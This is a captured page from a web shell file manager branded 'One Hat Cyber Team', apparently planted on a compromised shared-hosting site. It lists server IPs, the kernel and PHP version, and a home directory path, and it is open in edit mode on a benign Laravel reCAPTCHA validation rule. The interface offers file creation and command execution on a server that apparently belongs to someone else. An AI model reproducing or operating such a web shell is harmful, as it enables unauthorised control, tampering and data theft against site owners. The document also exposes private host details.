One Hat Cyber Team
Your IP :
3.15.223.2
Server IP :
162.241.123.123
Server :
Linux sh016.hostgator.in 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Server Software :
Apache
PHP Version :
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home1
/
saicsazq
/
instabees.in
/
app
/
Rules
/
Edit File:
Captcha.php
<?php namespace App\Rules; use Closure; use Illuminate\Contracts\Validation\ValidationRule; use App\Models\GoogleRecaptcha; use ReCaptcha\ReCaptcha; class Captcha implements ValidationRule { /** * Run the validation rule. * * @param \Closure(string): \Illuminate\Translation\PotentiallyTranslatedString $fail */ public function validate(string $attribute, mixed $value, Closure $fail): void { $google_recaptcha = GoogleRecaptcha::first(); $recaptcha=new ReCaptcha($google_recaptcha->secret_key); $response = $recaptcha->verify($value, $_SERVER['REMOTE_ADDR']); if(!$response->isSuccess()){ $fail('Please complete the recaptcha to submit the form'); } } }
Simpan